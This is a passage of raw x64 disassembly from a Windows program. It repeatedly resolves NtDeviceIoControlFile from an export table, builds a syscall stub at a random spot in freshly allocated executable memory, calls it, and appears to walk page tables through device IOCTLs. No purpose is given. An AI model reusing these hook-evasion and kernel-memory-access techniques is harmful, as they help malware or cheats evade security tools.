lea r9, [rbp + 0xd70]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd70], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x1c0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1160]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd70]
lea r9, [rbp + 0xd70]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x1d8]
test rbx, rbx
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006aca7
cmp word [rax], r14w
jne 0x14006aca7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006aca7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006aca7
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006aca7
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006aae4
inc rdi
cmp rdi, r15
jb 0x14006aac0
jmp 0x14006aca7
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006aca7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006aca7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x1af24], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x19ba0]
call fcn.1400be1b0
lea rcx, [rbp + 0x19ba0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x19ba0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xc5fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006ab80
mov r8d, 0x1000
lea rdx, [rbp + 0xc5fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd74]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd74], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x1c0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x1c0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1160]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd74]
lea r9, [rbp + 0xd74]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006c29c
test bl, 1
je 0x14006c29c
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x540], 0
xor edx, edx
mov qword [rbp + 0x548], 0
xorps xmm0, xmm0
mov qword [rbp + 0x550], 0
movups xmmword [rbp + 0xfc0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x530], 8
mov qword [rbp + 0x538], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006af79
cmp word [rax], r14w
jne 0x14006af79
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006af79
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006af79
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006af73
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006adb5
inc rbx
cmp rbx, r14
jb 0x14006ad92
jmp 0x14006af73
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006af73
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006af73
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x1c2b4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1af30]
call fcn.1400be1b0
lea rcx, [rbp + 0x1af30]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x1af30]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xc6fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006ae50
mov r8d, 0x1000
lea rdx, [rbp + 0xc6fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd78]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd78], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x530]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x530]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xfc0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd78]
lea r9, [rbp + 0xd78]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x548]
test rbx, rbx
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006b1f7
cmp word [rax], r14w
jne 0x14006b1f7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006b1f7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006b1f7
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006b1f7
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006b034
inc rdi
cmp rdi, r15
jb 0x14006b010
jmp 0x14006b1f7
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006b1f7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006b1f7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x1d644], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1c2c0]
call fcn.1400be1b0
lea rcx, [rbp + 0x1c2c0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x1c2c0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xc7fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006b0d0
mov r8d, 0x1000
lea rdx, [rbp + 0xc7fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd7c]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd7c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x530]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x530]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd7c]
lea r9, [rbp + 0xd7c]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006c29c
test bl, 1
je 0x14006c29c
movzx eax, bl
shr al, 7
test al, 1
je 0x14006b224
mov rcx, qword [rsp + 0x60]
movabs rax, 0xfffffc0000000
and ecx, 0x3fffffff
jmp 0x14006bd0f
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x590], 0
xor edx, edx
mov qword [rbp + 0x598], 0
xorps xmm0, xmm0
mov qword [rbp + 0x5a0], 0
movups xmmword [rbp + 0x1170], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x580], 8
mov qword [rbp + 0x588], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006b4ec
cmp word [rax], r14w
jne 0x14006b4ec
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006b4ec
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006b4ec
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006b4e6
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006b333
inc rbx
cmp rbx, r14
jb 0x14006b310
jmp 0x14006b4e6
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006b4e6
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006b4e6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x1e9d4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1d650]
call fcn.1400be1b0
lea rcx, [rbp + 0x1d650]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x1d650]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xc8fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006b3c3
mov r8d, 0x1000
lea rdx, [rbp + 0xc8fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd80]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd80], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x580]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x580]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1170]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd80]
lea r9, [rbp + 0xd80]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x598]
test rbx, rbx
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006b777
cmp word [rax], r14w
jne 0x14006b777
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006b777
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006b777
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006b777
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006b5b4
inc rdi
cmp rdi, r15
jb 0x14006b590
jmp 0x14006b777
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006b777
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006b777
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x210f4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1fd70]
call fcn.1400be1b0
lea rcx, [rbp + 0x1fd70]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x1fd70]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xc9fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006b650
mov r8d, 0x1000
lea rdx, [rbp + 0xc9fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd84]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd84], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x580]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x580]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1170]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd84]
lea r9, [rbp + 0xd84]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006c29c
test bl, 1
je 0x14006c29c
movzx eax, bl
shr al, 7
test al, 1
je 0x14006b7a4
mov rcx, qword [rsp + 0x60]
movabs rax, 0x3ffffffe00000
and ecx, 0x1fffff
jmp 0x14006bd0f
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x5b8], 0
xor edx, edx
mov qword [rbp + 0x5c0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x5c8], 0
movups xmmword [rbp + 0x1180], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x5a8], 8
mov qword [rbp + 0x5b0], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006ba6c
cmp word [rax], r14w
jne 0x14006ba6c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006ba6c
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006ba6c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006ba66
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006b8b3
inc rbx
cmp rbx, r14
jb 0x14006b890
jmp 0x14006ba66
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006ba66
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006ba66
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x22484], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x21100]
call fcn.1400be1b0
lea rcx, [rbp + 0x21100]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x21100]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xcafe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006b943
mov r8d, 0x1000
lea rdx, [rbp + 0xcafe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd88]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd88], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x5a8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x5a8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1180]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd88]
lea r9, [rbp + 0xd88]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x5c0]
test rbx, rbx
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006bcf1
cmp word [rax], r14w
jne 0x14006bcf1
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006bcf1
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006bcf1
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006bcf1
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14006bb34
inc rdi
cmp rdi, r15
jb 0x14006bb10
jmp 0x14006bcf1
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006bcf1
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006bcf1
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x23814], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x22490]
call fcn.1400be1b0
lea rcx, [rbp + 0x22490]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x22490]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xcbfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006bbd0
mov r8d, 0x1000
lea rdx, [rbp + 0xcbfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd8c]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd8c], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x5a8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x5a8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1180]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd8c]
lea r9, [rbp + 0xd8c]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x14006c29c
test bl, 1
je 0x14006c29c
mov rcx, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and ecx, 0xfff
and rbx, rax
add rcx, rbx
test rcx, rcx
je 0x14006c29c
mov rax, rcx
mov qword [rbp + 0x5d8], rcx
and eax, 0xfff
mov qword [rbp + 0x5e0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x5e8], 0
mov r13d, 0x1000
mov qword [rbp + 0x5f0], 0
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x1190], xmm0
mov qword [rbp + 0x5d0], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006bfe5
cmp word [rax], bx
jne 0x14006bfe5
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006bfe5
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006bfe5
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
